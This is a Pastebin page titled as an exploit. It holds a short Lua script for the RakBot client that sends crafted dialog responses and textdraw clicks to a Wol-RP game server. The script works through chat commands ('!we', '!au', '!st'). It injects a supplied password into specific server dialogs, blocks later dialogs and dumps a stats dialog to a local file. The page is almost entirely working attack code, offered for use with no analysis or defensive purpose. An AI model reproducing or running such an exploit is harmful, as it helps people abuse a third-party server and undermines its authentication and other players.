SlonPvpru

[Wol-Rp] [RakBot] Exploit

Jun 4th, 2020
145
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.08 KB | None | 0 0
  1. function onRunCommand(cmd)
  2.     sCmd, sParams = cmd:match("(.+) (.+)")
  3.     if sCmd == "!we" then
  4.         if sParams then
  5.             act = true; pass = sParams;
  6.             printLog("[WOL-RP_EXPLT] Sended")
  7.         else
  8.             printLog("[WOL-RP_EXPLT] Error! Type a params. <!we passw>")
  9.         end
  10.         return true
  11.     end
  12.     if cmd == "!st" then
  13.         waiting = true
  14.         clickTextDraw(29)
  15.         return true
  16.     end
  17.     if sCmd == "!au" then
  18.         sendDialog(2, 1, 65535, sParams)
  19.         return true
  20.     end
  21. end
  22.  
  23. function onDialogShow(id, style, title, btn1, btn2, data)
  24.     if id == 2 then return true end
  25.     if waiting and id == 1932 then
  26.         f = io.open("last_stats.txt", "w+")
  27.         f:write(data)
  28.         f:flush()
  29.         f:close()
  30.         printLog("[WOL-RP_EXPLT] Stats saved")
  31.         return true
  32.     end
  33.     if nop then return true end
  34. end
  35.  
  36. function onScriptUpdate()
  37.     if act then
  38.         clickTextDraw(28)
  39.         sendDialog(9973, 1, 3, "")
  40.         sendDialog(15467, 1, 3, pass)
  41.         nop = true; act = false;
  42.     end
  43. end
Add Comment
Please, Sign In to add comment